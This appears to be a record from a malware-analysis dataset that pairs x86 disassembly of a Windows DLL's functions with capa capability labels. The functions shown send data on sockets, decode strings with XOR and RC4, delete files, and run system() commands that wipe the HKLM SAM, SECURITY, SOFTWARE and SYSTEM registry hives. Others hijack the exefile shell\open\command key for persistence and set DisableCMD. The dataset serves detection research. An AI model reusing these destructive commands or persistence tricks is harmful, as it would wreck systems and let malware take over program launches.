joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001af0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10001b49
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001b59
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10001b19
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10001b92
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, 0xa
call fcn.1000e3c0
push eax
push 0
mov ecx, 0x1011c548
call fcn.10005790
add esp, 0xc
call fcn.100016a0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001f40
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001fa0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x10001f86
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [esi + 4], 0
mov ecx, dword [esi + 8]
push ecx
call fcn.10011c60
add esp, 4
mov dword [esi + 4], eax
test eax, eax
jne 0x10001fa7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
push 0
lea edx, [ebp - 4]
push edx
push ecx
push eax
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x10001f9a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10001fe0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
call fcn.10001f40
test al, al
jne 0x10001fee
pop esi
ret
push edi
mov edi, dword [esi + 8]
cmp edi, 8
jae 0x10001ffc
pop edi
xor al, al
pop esi
ret
mov edx, dword [esi + 4]
mov eax, 0x10018800
mov ecx, 8
sub edx, eax
push ebx
lea esp, [esp]
mov ebx, dword [edx + eax]
cmp ebx, dword [eax]
jne 0x1000207e
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x10002010
add edi, 0xfffffff8
xor eax, eax
test edi, edi
jle 0x10002073
jmp 0x10002030
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0x1f
movsx edx, byte [edx + 0x10121574]
and edx, 0xf
movzx edx, byte [edx + 0x10018808]
sub byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0xf
movzx edx, byte [edx + 0x10018808]
xor byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 8]
inc eax
sub ecx, 8
cmp eax, ecx
jl 0x10002030
mov edi, esi
call fcn.10002090
pop ebx
pop edi
pop esi
ret
pop ebx
pop edi
xor al, al
pop esi
ret

Function at 0x10002090
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea esi, [edi + 0xc]
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 0x3e8
idiv ecx
push edx
push 0x10018818
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x102
push 2
push 0
push 7
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002103
mov eax, dword [edi + 8]
mov ecx, dword [edi + 4]
push 0
lea edx, [ebp - 4]
push edx
sub eax, 8
push eax
add ecx, 8
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x1000210a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002120
Capabilities:
Delete file

Disassembly:
push edi
lea edi, [esi + 0xc]
mov ecx, 0x10018830
mov eax, edi
jmp 0x10002130
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002150
test dl, dl
je 0x1000214c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002150
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002130
xor eax, eax
jmp 0x10002155
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000218c
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1000218c
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
push 0x100
push 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call sub.MSVCR100.dll_memset
add esp, 0x10
pop edi
ret
Function at 0x10002810
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x10127250
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jc]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10002830
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x10127250
push 0
mov ecx, 0x1011c548
call fcn.10005790
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10126bd8], ecx
mov dword [ebp - 4], 0
jbe 0x10002928
mov edi, dword [0x1011c500]
lea ebx, [esi + 0xa]
nop
cmp ebx, edi
jae 0x100028db
mov eax, dword [0x1011c4fc]
cmp eax, ebx
ja 0x100028db
mov ecx, ebx
sub ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp edi, dword [0x1011c504]
jne 0x100028ca
mov ecx, 0x1011c4fc
call fcn.100036c0
mov edi, dword [0x1011c500]
mov eax, dword [0x1011c4fc]
lea edx, [esi + esi*8]
lea esi, [eax + edx*8]
test edi, edi
je 0x10002906
jmp 0x100028f9
cmp edi, dword [0x1011c504]
jne 0x100028f3
mov ecx, 0x1011c4fc
call fcn.100036c0
mov edi, dword [0x1011c500]
test edi, edi
je 0x10002909
mov esi, ebx
mov ecx, 0x12
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x1011c500]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, 0x48
mov dword [0x1011c500], edi
movzx ecx, byte [esi + 8]
inc eax
add ebx, 0x48
mov dword [ebp - 4], eax
cmp eax, ecx
jl 0x10002890
pop edi
pop esi
mov dword [0x10126bc0], 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002940
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x10127250
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x10017200]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10002960
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x10127250
push 0
mov ecx, 0x1011c548
call fcn.10005790
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10126bdc], ecx
mov dword [ebp - 4], 0
jbe 0x10002a5f
mov edi, dword [0x1011c510]
lea ebx, [esi + 0xa]
nop
cmp ebx, edi
jae 0x10002a0c
mov eax, dword [0x1011c50c]
cmp eax, ebx
ja 0x10002a0c
mov ecx, ebx
sub ecx, eax
mov eax, 0x7a44c6b
imul ecx
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp edi, dword [0x1011c514]
jne 0x100029fa
mov ecx, 0x1011c50c
call fcn.10003730
mov edi, dword [0x1011c510]
imul esi, esi, 0x10c
add esi, dword [0x1011c50c]
test edi, edi
je 0x10002a37
jmp 0x10002a2a
cmp edi, dword [0x1011c514]
jne 0x10002a24
mov ecx, 0x1011c50c
call fcn.10003730
mov edi, dword [0x1011c510]
test edi, edi
je 0x10002a3a
mov esi, ebx
mov ecx, 0x43
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x1011c510]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, 0x10c
mov dword [0x1011c510], edi
movzx edx, byte [esi + 8]
inc eax
add ebx, 0x10c
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x100029c0
pop edi
pop esi
mov dword [0x10126bc8], 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002a70
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x10127250
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_j_]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10002a90
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x10127250
push 0
mov ecx, 0x1011c548
call fcn.10005790
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10126be0], ecx
mov dword [ebp - 4], 0
jbe 0x10002b90
mov edi, dword [0x1011c520]
lea ebx, [esi + 0xa]
nop
cmp ebx, edi
jae 0x10002b3c
mov eax, dword [0x1011c51c]
cmp eax, ebx
ja 0x10002b3c
mov ecx, ebx
sub ecx, eax
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp edi, dword [0x1011c524]
jne 0x10002b2a
mov ecx, 0x1011c51c
call fcn.100037a0
mov edi, dword [0x1011c520]
imul esi, esi, 0x105
add esi, dword [0x1011c51c]
test edi, edi
je 0x10002b68
jmp 0x10002b5a
cmp edi, dword [0x1011c524]
jne 0x10002b54
mov ecx, 0x1011c51c
call fcn.100037a0
mov edi, dword [0x1011c520]
test edi, edi
je 0x10002b6b
mov esi, ebx
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x1011c520]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, 0x105
mov dword [0x1011c520], edi
movzx edx, byte [esi + 8]
inc eax
add ebx, 0x105
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x10002af0
pop edi
pop esi
mov dword [0x10126bcc], 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002bb0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x10127250
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jv]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10002bd0
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x10127250
push 0
mov ecx, 0x1011c548
call fcn.10005790
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10126be4], ecx
mov dword [ebp - 4], 0
jbe 0x10002ccd
mov edi, dword [0x1011c530]
lea ebx, [esi + 0xa]
nop
cmp ebx, edi
jae 0x10002c7f
mov eax, dword [0x1011c52c]
cmp eax, ebx
ja 0x10002c7f
mov ecx, ebx
sub ecx, eax
mov eax, 0x7e07e07f
imul ecx
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp edi, dword [0x1011c534]
jne 0x10002c6a
mov ecx, 0x1011c52c
call fcn.10003810
mov edi, dword [0x1011c530]
mov eax, esi
shl eax, 6
add eax, dword [0x1011c52c]
add eax, esi
test edi, edi
je 0x10002cab
mov esi, eax
jmp 0x10002c9d
cmp edi, dword [0x1011c534]
jne 0x10002c97
mov ecx, 0x1011c52c
call fcn.10003810
mov edi, dword [0x1011c530]
test edi, edi
je 0x10002cae
mov esi, ebx
mov ecx, 0x10
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x1011c530]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, 0x41
mov dword [0x1011c530], edi
movzx edx, byte [esi + 8]
inc eax
add ebx, 0x41
mov dword [ebp - 4], eax
cmp eax, edx
jl 0x10002c30
pop edi
pop esi
mov dword [0x10126bd0], 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002ce0
Capabilities:
Encode data using xor

Disassembly:
push ecx
push 0x100
push 0
push 0x10127250
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x10002d00
mov cl, byte [eax + str.r_jj]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10002d00
movzx edx, byte [esi + 4]
push edx
push 0x10127250
push 0
mov ecx, 0x1011c548
call fcn.10005790
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xb
ja case.default.0x10002d3c
jmp dword [eax*4 + 0x10002dc8]
mov ecx, 0xe
jmp 0x10002da9
mov ecx, 0xf
jmp 0x10002da9
mov ecx, 0x10
jmp 0x10002da9
mov ecx, 0x11
jmp 0x10002da9
mov ecx, 0x12
jmp 0x10002da9
mov ecx, 0x13
jmp 0x10002da9
mov ecx, 0x14
jmp 0x10002da9
mov ecx, 0x16
jmp 0x10002da9
mov ecx, 0x18
jmp 0x10002da9
mov ecx, 0x19
jmp 0x10002da9
push 0xbb8
push str._Memory_Protect__Detect
push 2
mov eax, 0x10126620
call fcn.1000d510
add esp, 0xc
pop ecx
ret
mov ecx, 0x15
push 0xbb8
call fcn.10005ee0
push eax
push 2
mov eax, 0x10126620
call fcn.1000d510
add esp, 0xc
pop ecx
ret
Function at 0x10002e00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x1001c018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
cmp dword [0x10126c04], 1
push edi
je 0x10002e9c
mov eax, dword [0x1011c4fc]
mov dword [0x10126bbc], ebx
mov dword [0x10126bc0], ebx
mov dword [0x10126bc8], ebx
mov dword [0x10126bcc], ebx
mov dword [0x10126bd0], ebx
mov dword [0x10126bd8], ebx
mov dword [0x10126bdc], ebx
mov dword [0x10126be0], ebx
mov dword [0x10126be4], ebx
cmp eax, dword [0x1011c500]
je 0x10002e66
mov dword [0x1011c500], eax
mov eax, dword [0x1011c50c]
cmp eax, dword [0x1011c510]
je 0x10002e78
mov dword [0x1011c510], eax
mov eax, dword [0x1011c51c]
cmp eax, dword [0x1011c520]
je 0x10002e8a
mov dword [0x1011c520], eax
mov eax, dword [0x1011c52c]
cmp eax, dword [0x1011c530]
je 0x10002e9c
mov dword [0x1011c530], eax
mov word [ebp - 0x40], 0x3cc1
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x10002eb6
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [0x1012639c]
mov edx, dword [0x10018870]
mov byte [ebp - 0x3e], al
mov eax, dword [0x10126c04]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x10018874]
mov byte [ebp - 0x3d], bl
mov dword [ebp - 0x34], 0x1acb675
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
call fcn.1000e270
push 0x100
mov esi, eax
push ebx
mov ecx, 9
lea edi, [ebp - 0x28]
push 0x10127250
rep movsd dword es:[edi], dword [esi]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x10002f10
mov cl, byte [eax + 0x10017500]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10002f10
mov ecx, dword [ebp - 0x38]
lea edx, [ebp - 0x28]
push edx
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push ecx
push edx
push 0x10127250
push ebx
mov ecx, 0x1011c548
call fcn.10005790
movzx ecx, byte [ebp - 0x3f]
add esp, 0x18
lea edx, [ebp - 0x40]
call fcn.10001920
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10011ccc
mov esp, ebp
pop ebp
ret
Function at 0x100032d0
Capabilities:
Execute command

Disassembly:
push esi
mov esi, dword [sym.imp.MSVCR100.dll_system]
push edi
push str.REG_DELETE_HKLMHARDWARE__f
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSAM__f
call esi
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSECURITY__f
call esi
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSOFTWARE__f
call esi
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSYSTEM__f
call esi
add esp, 4
push 0x2710
call edi
pop edi
pop esi
ret

Function at 0x10003340
Capabilities:
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
call esi
mov ecx, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push 0x10018830
push 1
push 0
push 0
push ecx
call ebx
mov edx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call esi
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
call esi
mov ecx, dword [ebp - 4]
push 1
push 0x10018830
push 1
push 0
push str.IsolatedCommand
push ecx
call ebx
mov edx, dword [ebp - 4]
push edx
call edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call esi
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.IsolatedCommand
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003450
Capabilities:
Execute command

Disassembly:
push esi
mov esi, dword [sym.imp.MSVCR100.dll_system]
push edi
push str.mrdir__s__q_C:__
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x2710
call edi
push str.mrdir__s__q_D:__
call esi
add esp, 4
push 0x2710
call edi
push str.mrdir__s__q_E:__
call esi
add esp, 4
push 0x2710
call edi
pop edi
pop esi
ret
Function at 0x100034a0
Capabilities:
Disable system features via registry on windows
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push closesocket
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], 0
call esi
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.DisableCMD
push edx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push closesocket
call esi
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0
push str.DisableCMD
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10003540
Capabilities:
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
call esi
mov ecx, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 8
push str.__1___
push 1
push 0
push 0
push ecx
call ebx
mov edx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call esi
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
call esi
mov ecx, dword [ebp - 4]
push 8
push str.__1___
push 1
push 0
push str.IsolatedCommand
push ecx
call ebx
mov edx, dword [ebp - 4]
push edx
call edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call esi
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.IsolatedCommand
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004250
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [0x10126b44]
test eax, eax
je 0x100042c3
mov ecx, dword [eax]
cmp ecx, dword [0x10126b58]
jne 0x1000426f
mov dl, byte [0x10126b5c]
cmp dl, byte [eax + 4]
je 0x100042c3
push 0x100
push 0
push 0x10127250
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x10004290
mov cl, byte [eax + 0x10016500]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10127250], cl
inc eax
cmp eax, 0x100
jb 0x10004290
push 0x10127250
push 0
mov ecx, 0x1011c548
call fcn.10005790
add esp, 8
call fcn.1000d0e0
mov eax, dword [0x10126b40]
test eax, eax
je 0x10004300
mov edx, dword [eax]
cmp edx, dword [0x10126b50]
jne 0x100042e1
mov cl, byte [0x10126b54]
cmp cl, byte [eax + 4]
je 0x10004300
mov eax, 0x10
call fcn.1000e3c0
push eax
push 0
mov ecx, 0x1011c548
call fcn.10005790
add esp, 8
call fcn.1000d0e0
mov eax, dword [0x10126b3c]
test eax, eax
je 0x10004325
mov edx, dword [eax]
cmp edx, dword [0x10126b48]
jne 0x1000431e
mov cl, byte [0x10126b4c]
cmp cl, byte [eax + 4]
je 0x10004325
mov eax, 0x11
jmp 0x100042e6
pop ecx
ret
Function at 0x100053e0
Capabilities:
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x1001c018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
push 0
push 3
push 0
push 1
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp + 0xc]
push closesocket
push eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005433
lea edx, [ebp - 0x38]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x10005446
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10011ccc
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
push edi
push 0
push eax
push ecx
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, eax
test edi, edi
jne 0x1000547d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10011ccc
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp - 0x14]
push edx
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x100054bb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100054b4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100054b4
mov edx, 0x14c
cmp word [ecx + 4], dx
je 0x100054db
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10011ccc
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp - 0x44]
mov dword [ebx], esi
mov dword [edx], edi
mov edx, dword [ebp - 0x3c]
mov dword [edx], eax
mov eax, dword [ebp - 0x40]
mov dword [eax], ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10011ccc
mov esp, ebp
pop ebp
ret 8